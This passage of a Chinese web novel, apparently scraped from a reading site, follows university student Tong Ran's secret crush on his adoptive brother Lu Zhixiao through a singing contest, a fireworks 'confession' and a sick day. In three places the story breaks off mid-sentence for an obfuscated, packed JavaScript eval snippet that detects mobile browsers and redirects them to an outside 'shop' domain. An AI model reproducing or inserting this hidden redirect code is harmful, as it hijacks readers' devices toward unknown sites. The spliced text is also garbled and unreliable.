刁钻到把一切旖旎的氛围破坏得连渣都不剩了! 童冉耷拉下眼皮,没好气地从齿缝里出几个字:“不!知!道!” 陆执骁愣了愣,很敏锐地感知到了他语气里的不爽,马上又凑近仔细看了看那颗小包。 貌似不是上火长痘,就是蚊子包。很小很小的一颗,稍稍有点红。 “陈姨,拿一下蚊虫叮咬软膏,”他朝厨房扬声吩咐,又转向童冉,安抚道,“别不高兴了,不影响颜值的,我帮你涂点药,一会就能消。” 陈姨很快把药膏拿来了,陆执骁接过,挤出一点,挤到自己的食指指腹上。 “下巴抬起来。” 童冉抿着嘴,不情不愿地抬起脸。晨光倾泻在他的薄唇上,两片涂了水蜜桃唇膏的唇瓣泛着细碎的柔光。 然而陆执骁却压根没往他的嘴唇上看。 掌心轻轻托住童冉的下巴,食指蘸着清凉的药膏,在那颗泛红的小包上打圈揉开。 因为距离嘴唇太近,他粗粝的指腹时不时擦过童冉的嘴角。 难耐的碰感让童冉呼吸有些乱了,胸腔里酥酥麻麻一片,清凉的药膏压不住心底腾起的燥热。 等等。 他怎么能先燥了呢……? 正在这时,楼梯口忽然传出一阵拖沓的脚步声。 陆屿轩打着哈欠从楼上晃悠下来。 他一眼就看到了餐厅里脸对脸,凑得极近的两人,脚步猛地刹住。 “啧啧啧,这大清早的干嘛呢?”陆屿轩抱着胳膊,酸溜溜地开口说,“不知道的还以为你们是新婚小两口,卿卿我我!我是不是还得回避一下啊?” 童冉心脏咚咚跳快,飞快抬起眼皮,偷偷瞄了眼陆执骁。 陆执骁慢条斯理地收好药,眼皮都没抬一抬:“我看你脑子还在被窝里没拿出来吧?就知道胡说八道!” “切!”陆屿轩翻了个巨大的白眼,小声嘟囔了句什么,径直走向玄关。 陆执骁直到此时才抬头瞥他一眼:“你不吃饭吗?” “不吃,”陆屿轩把鞋带系得飞快,语气里满满都是怨念,“你们才是一家人,亲亲热热,我当电灯泡么我还吃饭……” “爱吃不吃,别扯没用的!”陆执骁不耐烦地打断他,“要走赶紧走,清净。” “砰——” 大门被重重带上,房间里重新安静下来。 童冉脸颊微烫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17433216|200941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,刚才那股对直男不解风情的幽怨劲儿,好像一下子泄了大半。 不知是不是被那句“小两口”戳中了隐秘的心思,竟生出几分羞赧与甜意。 “咳……”他小声咳嗽了一声。 陆执骁转头,见他一张白净的小脸红扑扑的,便抬起手,安抚性地捋了捋他的后背。 “不用理他,也别生气,这段时间爸妈不在,我工作又忙没空管他,皮痒了。” 童冉低头笑了笑,像只刚被顺完毛的猫。 生气?才不会。他开心还来不及。 恨不得现在就给陆屿轩发个大红包! 会说话就多说点!什么小两口,一家人,最好每天都来这么两句,爱听! * 吃完早饭,两人一同出了门。 周一到周四童冉上午都有课,只要陆执骁不出差,那辆黑色宾利就是他的专属校车。 童冉扣好安全带,指尖在手机日历上戳了戳,“这周日晚上,我们学校校园歌手大赛初赛,我报名了。” 他侧过脸,一双小鹿眼亮晶晶地望着身边人,“哥哥,你会来看我吗?” 陆执骁打方向盘的手微微一顿:“周日?”他有些抱歉地看了童冉一眼,“明晚我要去S市出差,周日不一定赶得回来。” “哦,”童冉垂下眼,声音明显低了下去,“这是我第一次参加这种比赛,本来还想让你在台下看我呢。” 路口红灯亮起,车子稳稳停下。 陆执骁转过头,宽大的手掌在他柔软的发顶揉了一把:“你第几个唱?” “7。”童冉说,“大概是晚上七点半到八点之间。” “嗯,加油,”陆执骁道,“就算我人不在,精神也与你同在。” 童冉:“……” 什么啊,好老土的直男安抚! 他在心里狂翻白眼,但也知道陆执骁的事业更重要。都是几千万,上亿的大项目,他不能太任性,耽误大佬行程。 绿灯亮起,车子启动。 童冉抿了抿嘴,退而求其次,说,“到时候会有直播,你有空的话一定要看,而且要装成我的粉丝,在弹幕里给我刷屏表白!” “好。我记住了。”陆执骁答应得痛快。 只是如此干脆的态度,反倒让童冉愣住了。 他狐疑地眯起眼睛,打量着这位平时连朋友圈都很少发的直男霸总。 “你知道怎么……表白吗?” 陆执骁认真思考了两秒,转过头,给了童冉一个“你也太小看我了”的眼神。 “当然知道,”他笑了笑,语气温柔且笃定说,“给你表白,又不是什么很难的事,放心好了,小猪。” 5. 第 5 章 周五,陆执骁启程飞往S市。 此次谈判,一方是陆氏集团旗下的云腾科技公司,另一方则是欧洲ATEK代表团,负责人叫Catherine。 投影仪上此刻正显示着一份关于新一代工业无人机旋翼系统的技术授权合同。 “陆先生,”Catherine用流利的中文说,“我们刚刚所谈的,不单单是在亚太地区的销售分成,我们更希望能共享你们的飞控系统核心代码。这是我们合作的前提。” 陆执骁向后靠在真皮椅背上,手里漫不经心地转着一支钢笔,闻言,只是淡淡地掀起眼皮。 “前提?”他轻笑一声,眼里没有一丝温度,“恕我直言,在这个谈判桌上,只有我有资格来定这个【前提】。” 手中的钢笔被他很随意地扔在桌上,发出“啪嗒”一声,声音不大,却砸得在场人心头一紧。 整个房间的气压都在那一瞬低了几分。 “第一,贵司带来的旋翼技术确实先进,但再好的设计,没有我们云腾的精密制造能力,也只能停留在图纸上。” “第二,飞控系统的核心代码,是我们花了五年时间、投入上亿资金打磨出来的命脉。你拿一个还没经过实战验证的新技术,就想换走我们的‘大脑’?是觉得我没有脑子吗?亏本的生意,我不可能同意。” Catherine的脸色瞬间变得很难看,红一阵白一阵:“陆总,您这话未免太刻薄了。我们是带着百分之百的诚意……” “商场只看利益,不看诚意。”陆执骁毫不客气地说,“我的条件很简单:ATEK的新技术独家授权,分成比例按照我方拟定的6:4执行,至于飞控代码,免谈。如果无法接受,大门在右手边,好走不送。” 会议室里一片死寂。 Catherine身后的几个技术高管面面相觑,脸上是大写的尴尬。 云腾公司是全球少数几家真正打通了从材料到制造再到飞控系统全链条的无人机科技企业。 但这位少东家姿态未免太高,语气冷硬刻薄,寸步不让。 Catherine更是强压怒意,非常不满地瞪着面前的男人。在谈判桌上一向都是她力压他人,何曾被人这样当面驳得下不来台面? 她咬咬牙,合上文件夹,“既然如此,不如我们先休会,内部讨论一下。” “请便。”陆执骁做了个手势,重新坐回到椅子。 待Catherine一行离开,副总何翔擦了擦额头的冷汗,凑近过来。 “陆总,您刚才是不是太强势了点?那位Catherine是业内有名的美女企业家,走哪儿都让人捧着。您刚才那几句话,简直是把人家的脸面往地上踩啊。多少也该怜香惜玉一点吧?” 陆执骁嗤笑:“你是不是搞错了场合,这里是谈判桌,不是相亲角。我谈生意,为什么要顾及她的情绪?我没有义务哄她开心。” “……”何翔被噎得哑口无言,嘴角直抽搐,“……是是,您说什么都对。” 他就多余说这一嘴。 要说他这位上司,论商业手腕那是没得说,杀伐决断,眼光毒辣,五年就把云腾公司的市值做上了无人机上市公司排名TOP1。 可就是这性格太……不近人情。在他眼里,大概这世界上的人只分为两类:能赚钱的合作伙伴,和不能赚钱的路人甲。 至于对方是男是女,长得漂不漂亮,需不需要提供情绪价值,统统都跟他没有关系,直接就被大脑过滤掉了。 …… 下午6点,Catherine那边还没商议出结果。 陆执骁也没再等,驱车先回了酒店。 进了房间,他掏出手机,给童冉打了个视频过去。 通话很快接通,屏幕里晃动着童冉白皙精致的脸。背景乱糟糟的,人来人往,还有音响师调试机器的嘈杂声音。 陆执骁冷峻的眉眼柔和下来,“在哪呢,吃饭了吗?” “学校,啃了个汉堡,在等彩排。”童冉把手机举高,转了一圈给他看舞台。 陆执骁只草草看了一眼,注意力便又回到了青年脸上。 “小猪,”他顿了顿,忽然说,“怎么看着不太高兴,是发生了什么事情吗?” 童冉一愣,下意识摸了摸脸,奇怪,他脸上是写字了吗? “……也没什么,就是赵小帅吃饱了撑的过来挑衅。” 陆执骁眉头蹙了蹙。 赵小帅? 想起来了,是上次跟童冉打架的那位。 “你吃亏了吗。”他沉下声音,“我安排保镖过去。” “不用不用,”童冉摆手,“他也就只是嘴上功夫,不敢动我的,放心。” 陆执骁点了点头。 童冉看着男人严肃而认真的表情,眨了眨眼。其实事情过去半个多小时了,他那点气也消得差不多了。 刚才接视频的时候,都没想提这茬。没想到隔着千山万水,陆执骁居然火眼金睛看出来了! 童冉心头微动,总算露出了一丝笑容,“哥哥,你是不是偷偷进修过什么微表情心理学?怎么我一点小事都瞒不过你?” 陆执骁也轻轻笑了声,“还用学?你从小一不开心就挂脸,我一秒就能感觉得到。” 低磁的声音透过听筒传来,像柔软的羽毛,轻轻扫过童冉的心尖。 所有的烦躁仿佛被冲刷得一干二净,只剩下暖烘烘的踏实。 陆执骁在乎他的每一丝情绪,哪怕只是微不足道的一瞬。 童冉嘴角一扬,心情彻底明媚起来。 还想要再说什么,就听场务在招呼他了:“童冉同学,快到你了,准备一下!” “好!马上来,”童冉应了声,不舍地看向屏幕,“哥哥,我得过去彩排了。” “去吧。”陆执骁温柔地冲他挥了挥手,“加油,小猪。” 挂断视频,童冉收好手机,准备走了。 赵小帅不知什么时候又晃到了他身后。 “我刚跟导演组打了个招呼,把我调到第六个了,我在你前面演。” 童冉转头,面无表情:“哦,所以呢,你专程来跟我汇报的?” “谁跟你汇报,笑死。”赵小帅一脸轻蔑,朝不远处努了努嘴。 那边围着一群人,有人在发灯牌,有人在拉横幅。 “看到没?那是我的亲友团。”赵小帅环起胳膊,傲慢道,“你的呢?不会一个人都没有吧?” 童冉觉得这人真是很可笑,像个小丑似的总爱在他面前蹦跶。 他往前走了几步,抬起手冲赵小帅做了个“嘘”的手势。 “低声些,很光彩吗?不过是花钱雇来的,显什么呢?” 赵小帅面色僵硬,牙根咬得咯吱咯吱响:“你、你瞎说什么!” 童冉懒得理他,转身朝舞台走去。暖橘色的夕阳斜照在肩头,心情半点儿没受影响。 什么亲友团不亲友团,他完全不在乎。反正有人承诺过他,会看他直播,会给他表白。 想到他就忍不住好奇了,陆执骁那样一个钢铁直男,到底会怎么给他表白? 但愿能“上道”一点,什么【小心肝】、【小宝贝】、【爱你无法自拔】、【一看你就腿软】统统砸过来! * 转眼到了周日,校园歌手大赛如期举行。 初赛总共三十几位选手参加,线上同步直播。舞台两侧的LED大屏,一面是高清直拍,另一面实时显示滚动弹幕与打赏特效。 童冉在候场区等候上台,直播链接早在开场前就发给了陆执骁。 但对方一直没回。 童冉咬了下嘴唇,又重新发了一遍。 刚发完,一道嚣张的声音飘入耳朵。 “喂,让让。” 他扭头,看到赵小帅抱着吉他,穿得像只花孔雀似的朝他走了过来。 经过时还故意撞了下他的肩。 童冉把他当空气,侧身走开。 “切,装什么,”赵小帅恶狠狠地瞪着他的背影,“看老子一会怎么碾压你!” 今晚的表演,赵小帅第六个出场。 舞台正下方的黄金位置几乎都被他的“职业应援团”占满了。 他一上台,直播大屏上就开始疯狂刷弹幕。 【赵小帅最帅!】 【吉他王子!A大顶流!】 【冠军预定!】 夸张的“人气优势”确实碾压了前面几位表演者。 一曲唱完,主持人都有点惊呆了:“哇,赵同学的人气真的是很高啊!感觉像在看个人演唱会!” 赵小帅下巴快扬到天上了,得意洋洋走下舞台,优越感简直就要溢出来! 之后就轮到童冉上场。 童冉从容走上舞台,追光灯打下,勾勒出他单薄修长的身型。 今晚他穿了件最简单的白衬衫,搭配黑色休闲裤,袖口微微卷起,透着一股干净利落的少年气。 舞台妆也很淡,只稍微加深了眼部轮廓,一双小鹿眼看上去更加灵动与深邃。 他安安静静地坐在高脚凳上,冲控制台点了下头,前奏响起,是首非常经典的情歌——《慢慢喜欢你》。 “书里总爱写到喜出望外的傍晚……” 原本嘈杂的现场在他开口的一瞬就安静下来了。 他的音色清澈得像山间溪水,带着最纯粹、最直抵人心的温柔,像是在恋人耳畔低声倾诉。 弹幕开始活跃起来: 【哇!校草开口脆!】 【好听好听,还是第一次见识冷艳校草唱情歌~】 【这首歌选得太好了,也特别适配,童冉支持一个】 【好干净的少年音,太舒服了】 【比上一个好,这是可以说的吗】 然而这种自发的“路人好感”很快就被赵小帅的水军给冲散了。 【一般般,没有赵小帅有爆发力】 【性冷淡风,太平淡了,听得想睡觉】 【慢歌不适合拿来比赛,下一个】 【我还是喜欢上一个的表演,这是可以说的吗】 赵小帅站在后台,环着手臂嗤笑:“校草又怎么样,这点人气还想跟我争?” 话音未落,突然,舞台大屏上亮起一道金灿灿的光,平台最高级别的打赏礼物“你最闪耀”触发了全屏特效! 浩瀚的夜空整片铺开,星光倾泻而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17433217|200941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下,将童冉和舞台都笼罩在梦幻般的光芒中。 台底下所有人都目瞪口呆,看着“你最闪耀”接二连三地刷,彻彻底底遮盖住了赵小帅的水军弹幕。 更让大家震惊的是打赏人的ID:云腾科技创始人,陆执骁。 头像是一张穿着黑色西装、神情冷峻的证件照,隔着屏幕都能感受到专属于大佬的强大气场。 现场和弹幕同时沸腾了! 【卧槽????陆执骁?那个做无人机的科技界大佬?!】 【云腾科技创始人,巨佬啊!】 【他跟童冉认识?】 【噗!何止是认识,陆佬是童冉的哥哥,前几天刚来咱们学校给童冉撑场子,有幸见识了】 【救命!原耽小说的剧情啊~!霸总哥哥宠弟狂魔!】 【确定是亲哥吗?两人的姓氏怎么不一样】 【啊啊啊啊啊不管了,好苏!好磕!】 赵小帅嘴角笑容僵死,手指尖都在颤抖。 怎么又是这个陆执骁! 没等缓过神,屏幕右下角突然又弹出了一个红色系统公告框。 赵小帅瞳孔猛缩,使劲揉了揉眼睛! 那是平台推送的一条全站通知: ——【特别提示:本场直播因连续获得超高价值互动,触发“高光时刻”,当前直播间已升至同城热搜榜第1名!】 几乎眨眼的功夫,直播在线人数从几千人疯狂飙升! 一万……三万……五万…… 童冉副歌都还没唱到,在线人数已经突破10万+! 【热搜进来的,这个唱歌的小哥哥是谁?长得也太美了啊!】 【内娱什么时候进新人了?】 【什么情况,A大校园歌手大赛也上热搜吗?】 【别的不说,就冲小哥哥这颜值这声线,这热搜就算是买的,我也认了!】 【天哪,安静唱情歌的小王子,太戳我了,叫什么名字啊,有对象了不?】 【小帅哥唱得太温柔了,加油弟弟,哪里可以投票,我投你!】 【等等,榜一大哥怎么是云腾科技的陆执骁啊,大佬也进来打赏了??】 【我也看到了,哈哈,是网友恶搞还是本尊?】 【本尊本尊!难以想象啊,陆佬居然喜欢看校园歌手大赛,哈哈哈,好诡异】 【有什么难理解的吗?这么帅气的清纯男大,谁不心动呢~】 赵小帅瞪着大屏,牙都差点咬碎了。 铺天盖地的好评全是给童冉的,让他望尘莫及的10万+在线人数也是属于童冉的,他嫉妒得快疯了!胃里好像被人硬生生怼进了一颗酸柠檬。 刚才那些引以为傲的“排面”,全部淹没在了童冉闪耀的光环中,没人记得他赵小帅唱了什么,他弹吉他的姿势有多酷,他完完全全被童冉碾成了渣…… 台上,童冉对此刻发生的一切浑然不觉。 他闭着眼,长长的睫毛垂着,整个人完全沉浸在这首歌的情绪中。 “……慢慢喜欢你,慢慢的亲密,慢慢聊自己,慢慢和你走在一起……” “……慢慢我想配合你,慢慢把我给你,慢慢喜欢你,慢慢的回忆,慢慢地陪你慢慢老去,因为慢慢是个最好的原因……” 晚风吹拂起额发,掀起衬衫一角,台底下的人也都慢慢被他的歌声感染跟着他一起清唱。 最后一个音符落下,童冉睁开眼睛,向观众鞠了一躬。 台底下掌声雷动,直播在线人数目前已经突破了二十万。 以往校园歌手大赛直播,能有两万人在线都算热闹。今天这个热度,连校方都傻眼了。还从来没见过如此大阵仗! 童冉放下话筒准备退场。 就在此时,突然——“砰”! 一簇簇烟花,从大操场的方向腾空而起,将整个A大的夜空照得亮如白昼。 所有人都瞪圆了眼睛,震惊地望向夜空。 第一波烟花在空中炸开,形成了一个巨大的字:【童】。 紧接着是第二个字:【冉】。 第三个:【我】。 人群全都炸开了锅,现场好多人激动得站了起来! “卧槽!牛逼!童冉的专属烟花秀!!!” “太豪了,谁送的啊,不会也是陆佬吧!” “童冉我……我什么呀?不会是‘我爱你’吧?!” 童冉在台上也完全愣住了,仰起头,怔怔地望向炫彩的夜空。 瞳孔被映得通亮,胸腔里像装了个小马达,疯狂跳动。 好浪漫的烟花秀! 这就是陆执骁承诺给他的表白吗? 童。冉。我。 然后呢? “我爱你”吗? 会是这样子的表白吗?他的期待要成真了吗!! 万众瞩目之下,夜空中迎来了又一波唯美而盛大的烟花。 烫金色的火光齐齐发射,在夜幕下拼出了几行极其震撼的巨型大字: 【童】【冉】【我】 【宣】【布】【你】【是】【总】【冠】【军】 【如】【果】【不】【是】 【就】【是】【黑】【幕】【!】 6. 第 6 章 童冉站在台上,眼角疯狂抽搐。 浪漫的粉红泡泡“啪”地一声,被这番硬核的直男式“表白”砸得稀碎。 神来之笔啊! 早该预料到的…… 他几乎是顶着全场敬畏的目光逃下台的。 一下来,就被蜂拥而上的“粉丝”团团围住。 “冉冉!烟花秀太震撼了!这是你哥特意为你准备的吧?!” “快看你的社交账号!今晚肯定要涨粉涨疯了,你哥这简直是给你砸出了一个顶流出道排面啊!” “太有钱了,羡慕死了,又是刷礼物,又是烟花秀。” “你之后出场的选手都沾光了!直播间二十万在线观看!赵小帅气得脸都绿了,哈哈哈哈你都没看见他那样儿……” 童冉直到此刻才知道不光有烟花,陆执骁还在他演唱时,挂在榜一全程刷最贵的礼物。 史无前例的直播数据让校领导全惊呆了。A大建校以来,除了百年校庆,还没哪场校园演出能创下如此惊人的热度。 他抬头看着舞台大屏,陆执骁的头像还稳稳挂在榜一的位置。 童冉滚动着喉结,眨了眨眼睛,说不感动是假的。陆执骁显然把他的话听进去了,用非常霸总的方式,为他撑起了一场万众瞩目的高光时刻。 可即便如此,童冉心里还是涌起了一阵跨服沟通的无奈感。 他最想要的根本不是什么热度,更不是排面!他只是一个小小的暗恋者。 哪怕陆执骁只送一朵虚拟玫瑰,再附带上一句“童冉,喜欢你”,他都能连夜把截图打印出来,郑重其事地裱在床头上。 但是……唉。他的好哥哥,还是太直男了。 身边同学还在兴致勃勃地八卦,童冉没什么心思再聊,随便找了个借口去了后台更衣室,反手锁上门,拨通了陆执骁的微信。 视频几乎秒接。 屏幕那头的男人已经换下了西装,穿着一件质地柔软的黑衬衫,靠在酒店宽大的沙发背上,眉眼间带着那种“大项目圆满落地”的从容与松弛。 “完事了?”陆执骁声音柔和地说,“怎么样,我这个狂热粉丝的表白,还满意吗?” 童冉的目光描摹着陆执骁英俊的脸,想起刚刚绽放在夜空的嚣张大字,忍不住叹了口气:“陆老板,您可真阔气啊!又是烟花,又是打赏礼物,那可是大几十万人民币,不是欢乐豆!” “没关系,”陆执骁轻笑了一声,“钱不是问题,重要的是你开心,以及你想要的,有没有达成。” 童冉愣了愣。 陆执骁调整了一下坐姿,又继续说:“你不是让我作为狂热粉,给你表白吗?我特意让公关部给我找了份《粉圈文化与应援机制研究报告》。报告显示,‘粉丝表白’的核心诉求,就是向公众宣告自家选手的绝对统治力。” “所以我用降维打击的资金投入,直接帮你锁定冠军预定位。这不比在公屏上刷一万句软绵绵的‘童冉,我爱你’有威慑力?” 童冉:“……” 童冉:“………………” 救大命了。 谁看个校园歌手大赛,还要让公关部出研究报告啊?! 而且又不是真去当爱豆,要什么威慑力? 但凡陆执骁能在公屏上刷一万句——不对,哪怕只刷一句软绵绵的‘我爱你’,他都能高兴得原地升天好么! 内心一通狂输出,然而看着屏幕里的男人脸上那抹骄傲与纵容,童冉心底那一丝丝崩溃的无奈,最终还是发酵成了软乎乎的甜意。 这人直得像块钢板,却也笨拙地、真诚地把最好的都给了他。 童冉舔了舔嘴唇,在那份陆执骁的专属偏宠之下,心底那抹不知足的“贪念”又像野草一样疯长了起来。 是不是,他可以仗着陆执骁这套“粉丝理论”,再“光明正大”地讨一点暗恋者的糖。 “哥哥……”童冉一双小鹿眼湿漉漉地看着镜头,声音放得又软又轻,“我刚在台上,看到好多别人的粉丝在弹幕里刷‘我喜欢你’……我也想,听你亲口说一次。” 话音落下,对面没有出声。 更衣室里陷入死一般的寂静。 陆执骁在屏幕那边看着他,极轻地挑了下眉。 童冉的心脏瞬间提到了嗓子眼,血液轰隆隆地冲刷着耳膜。 他开始有些慌了。 自己是不是太得寸进尺了?这样的试探会不会太直白?陆执骁那么敏锐的人,会不会察觉到了什么? “……呃,还是算了,怪肉麻的。”童冉打起退堂鼓,心虚地别开脸,假装低头去解耳机线,“没事的话我就先……” “急什么。”陆执骁沉缓的嗓音透过扬声器传来。童冉动作一滞,僵硬地抬起头。 四目在屏幕里相对,陆执骁稍微坐直了身体,伸出骨节分明的手指,隔着屏幕,轻轻点了点童冉的脸颊。 然后,他开口了。 “这有什么肉麻的。” “哥哥当然喜欢你。因为你是我的小猪。” * 窗外月色温柔。 童冉从学校回来,躺在床上,久久没有困意。 身体里仿佛还燃烧着今晚的余温。 脑子里全是陆执骁的脸,还有他在视频里一本正经地说:“哥哥喜欢你”。 哪怕这句“喜欢”并非是那种喜欢,童冉的心脏还是跳得扑通扑通的。 枕边手机震动了一下,童冉抽回思绪,看到好基友给他发了条微信。 【黄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17433218|200941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 永熙】:恭喜啊小哥哥,今晚夯爆了!连上两条热搜! 【黄永熙】:咱学校还没有一届校园歌手大赛有过这么高人气呢,顶流哥哥贴贴~ 童冉“嗤”地笑了声,举着手机回: 【冉】:别整那些 【冉】:热搜什么的不重要 【黄永熙】:那啥重要? 童冉勾着嘴角,给对面发过去一段长语音。 足足过了两分多钟—— 【黄永熙】:卧槽!!!! 【黄永熙】:哥哥喜欢你这么肉麻的话,能从你直男哥嘴里说出来,我特么鸡皮疙瘩起一身! 【黄永熙】:不是,欸我捋捋,我记得某些人不是说不钓直男哥的吗~ 童冉抿了抿嘴,把发烫的脸蛋埋进枕头。 默了默,又按住语音回:“我之前真没打算钓,可我控制不了我寄几。” 【黄永熙】:哈哈哈哈哈哈哈哈 【黄永熙】:那就随心! 【黄永熙】:不过说真的,退一万步讲,就算你哥对你没有那种世俗意义上的“喜欢”,但他对你跟对别人也绝对不一样,你俩这种关系属于深度亲密,绝不是简简单单的兄弟情分 【黄永熙】:加油吧,少年,我看好你! 放下手机,童冉这会儿是彻底睡不着了。 在床上滚了两圈,然后爬起来,下床,拉开书桌最底层的抽屉,拿出了一个厚厚的日记本。 记日记是他从小养成的习惯,那时候家里发生变故,一夜间他像是被全世界抛弃了。来到陆家也孤僻自闭,跟谁都不愿意说话。 陆执骁就送了他一个日记本。 起初,童冉只是记录一些琐碎的日常心情。 也不知从什么时候起,笔触开始变了味。 日记里的主角不再是“我”,而是变成了“他”。 没有名字,只有“他”。 只有童冉自己知道,那个“他”指代的是谁。 童冉翻开日记,捏起笔,陆执骁刚刚跟他视频的样子,再次在脑海浮现出来。 喉结在流畅的颈线下,像一枚被白玉裹住的核,随着无声的呼吸,在皮肤下缓慢地滑动。每一次微小的起伏,都像在撩拨他心底最隐秘的弦。 童冉摸了摸持续发烫的脸颊,另一只手攥紧笔杆,在纸页上开始写字: 好喜欢他的喉结。 想一口咬上去,用舌尖感受它的轮廓,再用牙齿在上面轻轻磨一磨。 磨到他承受不住,唇间溢出压抑的闷哼。 我要咬着他的喉结,跟他说,活该,谁叫你一直蛊惑我。 现在我脑子里全是你的影子,再装不下别人,我越来越控制不了我自己,我想要你,你愿意吗? 7. 第 7 章 两天后,陆执骁结束行程,返回A城。 当天下午,童冉没课,去了一家叫做“猫糖”的甜品店。 店是黄永熙跟他对象一块开的,营业了三个月了,他今天是过来帮忙拍摄宣传视频的。 “冉冉,你坐这,端着这盘海盐荔枝雪绵,来段手势舞。”黄永熙举着手机,兴奋地比划,“对,笑一笑,可爱点,保持住……” 童冉其实不太喜欢在镜头前卖萌,他的可爱只愿意给陆执骁看。 不过死党的忙总得帮,他还是尽可能配合,对着镜头比心,眨眼睛。 黄永熙反复看了两遍视频,乐得嘴角都要咧到天上了,“我靠,这就是仙男下凡啊!咱大校草不愧是全网新晋顶流,这波稳了!” 果不其然,视频才发出去几分钟,点赞就破了五千,评论区全是清一色的“啊啊啊美人!”、“好伟大的建模脸”、“帅哥求偶遇‘’“我现在就去这家店打卡”。 童冉滑动着评论,有些意外:“热度这么高的吗?” “那可不,要不怎么说新晋顶流呢!”黄永熙一边飞快回复评论,一边招呼自家男友,“迪哥,快!给咱顶流上一份‘富士山下’冰淇淋!要最大份的!” 不到一分钟,一大碗铺满鲜草莓和蓝莓酱的冰淇淋就端了上来,冒着丝丝寒气。 童冉喜欢甜口,拿起勺子挖了一大口。冰凉绵密的奶油在嘴里化开。 太爽了! 他满足地闭上眼睛,身体里的每个毛孔都仿佛舒展开。 眨眼功夫,大碗冰淇淋就见了底。 童冉满足地揉了揉肚子,却忽然感觉胃里蹿起一股寒气,紧接着,打了好几个喷嚏。 “怎么了,是不是空调开得太大了?”黄永熙把空调调高,给他拿纸巾。 “没。”童冉擦了擦鼻子,没当回事。 结果傍晚一进家门,童冉的肚子就开始绞痛。 晚饭也没吃,像只可怜的虾米似的蜷在沙发上,捂着肚子。 陆执骁刚下飞机到公司,一接到家里的电话,毫不犹豫地推了当晚的会议,从公司赶了回来。 家庭医生跟他前后脚到了。 “就是着凉了,”医生收起听诊器,“刚入夏,吃冰太多,又吹空调,寒气入胃了。煮点浓姜水驱驱寒气。” 童冉一听“姜水”,眉头立刻皱成一团:“不要,姜味太冲了,恶心。” 陆执骁看了看他苍白的小脸,对医生说:“他最讨厌姜,开冲剂吧。” “好的。”医生给开了盒驱寒颗粒。 陈姨很快把药冲好端来,深褐色的药液散发着阵阵苦味。 童冉又皱起鼻子:“闻着就好苦,喝了会吐的。” 陆执骁连外衣都没来得及脱,拉过椅子坐在他旁边,端着碗哄:“良药苦口,其实没有你想象得那么苦。” 说着,他自己竟先喝了一小口咽下去,“真的还可以,一点点中药味,不信你试试?” 童冉看着他,将信将疑地抿了一口。 “咳咳——这叫还可以?”他被苦得直打激灵,漂亮的小脸皱皱巴巴的,像个小包子。 “可以不可以你都得喝,”陆执骁抓住他的手腕,这回语气硬得不容拒绝。 童冉见躲不过,只好哼哼了一声,“那你喂我。” 陆执骁二话不说,端起碗,舀了一小勺,仔细吹了吹:“张嘴。” 童冉乖乖张开嘴,半靠在他的臂弯里。 就在此时,玄关门响。 陆屿轩回来了。 一眼看到沙发上的两人。 “我去,干嘛呢这是!”他夸张地揉了揉眼睛,“你们不对劲啊,这是给我喂狗粮么这是!” 陆执骁冷眼瞥他,没说话。 陆屿轩大步走过去,气鼓鼓地指着童冉,酸溜溜地说:“他都那么大个人了,喝个药还需要喂?怎么我在你这就从来没有这待遇!” “那怎么了,”陆执骁抬眼,冷冷淡淡一句,“要不你也过来喝点,我也喂喂你?” “切!”陆屿轩翻了个大白眼,嘟囔着“偏心眼”“没救了”,转身噔噔噔地跑上了楼梯。 陆执骁转回头,一边继续喂童冉吃药,一边哄:“别理他,一天到晚嘴碎,就知道胡说!” “没关系。”童冉摇摇头,嘴角悄悄勾起一抹小得意。 他可太享受被陆执骁无底线偏爱的感觉了。陆屿轩从小就爱跟他争宠。他从未争过一次,但他的好哥哥就是宠~ 转眼一碗中药见了底,好像真的没有刚喝的时候那样苦了。 童冉半靠在陆执骁怀里,眼珠一转,又想到了什么。 “哥哥,一会我还有个服装设计的作业,得找个模特量尺寸,我就不找别人了,量你,可以不?” 陆执骁愣了愣:“你不是学文化产业管理的吗?怎么也要服装设计?” “……呃,”童冉心虚了一秒,“多、多学点不好吗?你不同意的话那我只能去求二哥了。” “不用他,”陆执骁马上说,“那等你肚子舒服一点了,就来我房间吧。” 药喝完没多久,童冉的腹痛就缓解了。 吃过晚饭,他回房间拿了软尺,兴冲冲地跑去隔壁找人。 然而刚走到门口,就听见里面传来动静: “哥,22号我要去毕业旅行,你给我赞助点钱呗。” 童冉停下脚,往里面看了一眼,陆屿轩正大喇喇地坐在陆执骁床上,翘着二郎腿。 “起来!”陆执骁脸色一沉,“说多少次了,我最讨厌别人坐我床。” “我裤子新换的!干净得很!” “新换的也不行。下去!” “切,事儿真多。”陆屿轩撇嘴,不情不愿地站起来。 陆执骁拧眉瞥他,“你要多少钱?” 